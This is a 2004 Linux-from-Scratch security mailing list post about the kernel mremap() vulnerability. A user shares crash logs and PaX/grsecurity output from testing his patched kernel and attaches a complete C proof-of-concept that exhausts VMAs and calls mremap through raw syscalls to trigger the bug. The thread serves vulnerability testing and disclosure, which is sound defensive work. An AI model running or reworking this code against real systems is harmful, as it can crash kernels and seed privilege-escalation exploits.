New mremap bug

Jonas Norlander jonas.norlander at ovikonline.com
Fri Feb 20 16:02:26 PST 2004


On Wed, Feb 18, 2004 at 10:05:07PM +0100, Jonas Norlander wrote:
> On Wed, Feb 18, 2004 at 06:34:20PM +0000, Christophe Devine wrote:
> > Billy O'Connor <billyoc at gnuyork.org> wrote:
> > 
> > > > For those of you who'd want to test for this vulnerability,
> > > > I've written some simple exploit code:
> > > > http://linuxfromscratch.org/~devine/mremap_poc_2.c
> > 
> > > With MREMAP_MAYMOVE | MREMAP_FIXED, I segfaulted, with MREMAP_MAYMOVE
> > > alone, it ran.
> > 
> > Have a look at the kernel messages with dmesg, if you see stuff like:
> > 
> > kernel BUG at mmap.c:1194!
> > invalid operand: 0000
> > CPU:    0
> > EIP:    0010:[<c01239b5>]    Not tainted
> > 
> > Then your kernel is almost certainly vulnerable. There's no root exploit
> > available yet though ;-)
> > 
> 
> Hi! 
> 
> I running kernel 2.4.24 with grsecurity 1.9.13 and propolic pathes.
> 
> Steve Bremer wrote to the bugtraq list:
> -8<-------
> I think it's worth noting that those who have been using either the
> 2.4.23-ow2 or the 2.4.24-ow1 kernel patches from the Openwall Project
> are not vulnerable to this latest mremap() bug
> -8<-------
> 
> As i understanding it I should not be vulnerable to this bug 
> as grsecurity and Openwall is protecting for the same thing but i got
> this output when running "mremap_poc_2.c".
> 
> ./a.out
> mmap: Cannot allocate memory
> created ~65881 VMAs
> now mremapping 0x40561000 at 0x4055D000
> Segmentation fault
> 
> And this in the log:
> :
> kernel: kernel BUG at mmap.c:1424!
> kernel: invalid operand: 0000
> kernel: CPU:    0
> kernel: EIP:    0010:[insert_vm_struct+61/176]    Not tainted
> kernel: EFLAGS: 00010287
> kernel: eax: 40546000   ebx: caf8a780   ecx: caf8a780   edx: caf8a6c0
> kernel: esi: caf8a764   edi: caf8a7c4   ebp: 00001000   esp: ca69bee4
> kernel: ds: 0018   es: 0018   ss: 0018
> kernel: Process a.out (pid: 29271, stackpage=ca69b000)
> kernel: Stack: caf8a780 caf8a764 caf8a7c4 00001000 00001000 c01a61a4 cce9f140 c01a6230
> kernel:        cce9f140 caf8a780 ca69a000 00001000 cce9f15c ffff0001 00000002 00000000
> kernel:        caf8a780 cce9f140 caf8a720 caf8a660 c01a630a 40549000 00001000 00001000
> kernel: Call Trace:    [do_mremap+1800/2092] [do_mremap+1940/2092] [sys_mremap+66/96] [system_call+51/80] [system_call+77/80]
> kernel:
> kernel: Code: 0f 0b 90 05 21 42 2a c0 8b 6c 24 10 8b 7c 24 14 8b 74 24 18
> 
> Do I need to worry?
> 
> /Jonas
> 

Another poc from bugtraq (attached).
With this poc on the same kernel with grsecurity my system is not vulnerable.
So which should i trust?

[jonas at venus ~/download/fixmremap2]$ ./proof
Killed

[root at venus ~]# tail -n 5 /var/log/sys.log
Feb 21 00:37:46 venus kernel:  <3>PAX: From 192.168.7.1: execution attempt in: <anonymous mapping>, 08048000-08049000 00000000
Feb 21 00:37:46 venus kernel: PAX: From 192.168.7.1: terminating task: /home/jonas/download/fixmremap2/proof(proof):24483, uid/euid: 1001/1001, PC: 08048af9, SP: 5da78a10
Feb 21 00:37:46 venus kernel: PAX: bytes at PC: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Feb 21 00:37:46 venus kernel: grsec: From 192.168.7.1: attempted resource overstep by requesting 4096 for RLIMIT_CORE against limit 0 by (proof:24483) UID(1001) EUID(1001), parent (bash:7410) UID(1001) EUID(1001)

/Jonas

-------------- next part --------------
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
struct vma_region {
	unsigned long s,e;
	struct vma_region *next;
};

long do_mremap(unsigned long addr,unsigned long len,unsigned long new_addr,unsigned long new_len,unsigned long flags) {
	long ret;
        asm volatile ("movl $163,%%eax\nint $0x80" :"=a"(ret) : "b"(addr),"c"(len),"d"(new_len),"S"(flags),"D"(new_addr));
	return (void *)ret;
}

int main(int argc,char *argv[]) {
	int x=0,c=0;
	FILE *f;
	void *vma1,*vma2;
	long ret;
	struct vma_region *vmr=malloc(sizeof(struct vma_region)),*c_vmr;
	
	vmr->next=NULL;
	c_vmr=vmr;
	
	vma1=mmap((void *)0x1DCD0000,4096*10,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,0,0);
	if (vma1 < 0) {
		perror("vma1");
		return 1;	
	}
	vma2=mmap((void *)0x1ECD0000,4096*5,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,0,0);
	if (vma2 < 0) {
		perror("vma2");
		return 1;
	}

	f=fopen("/proc/self/maps","r");
	while (!feof(f)) {
		char buf[256];
		if (!fgets(buf,sizeof(buf),f))
			break;
		if (sscanf(buf,"%lx-%lx",&c_vmr->s,&c_vmr->e)!=2)
			continue;
		c_vmr=c_vmr->next=malloc(sizeof(struct vma_region));
	}
	c_vmr->next=NULL;
	fclose(f);
	do {
		unsigned long addr=2*x*4096;
		for (c_vmr=vmr;c_vmr->next;c_vmr=c_vmr->next)
			if (c_vmr->s <=  addr && c_vmr->e >= addr)
				goto _skip;
		if (mmap((void *)addr,4096,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,0,0) < 0) {
			perror("mmap failed");
			break;
		} else 
			c++;
		_skip:;
	} while (++x && c <= 65536);
	ret=do_mremap(0x1ECD0000+4096,3*4096,0x1ECD0000,2*4096,1);
	if (ret < 0)
		printf("mremap failed\n");
	printf("ret: 0x%lx\n",ret);
	if (do_mremap(0x1ECD0000,5*4096,0x1DCD0000+4096,5*4096,3) < 0)
		printf("mremap failed\n");

}


More information about the lfs-security mailing list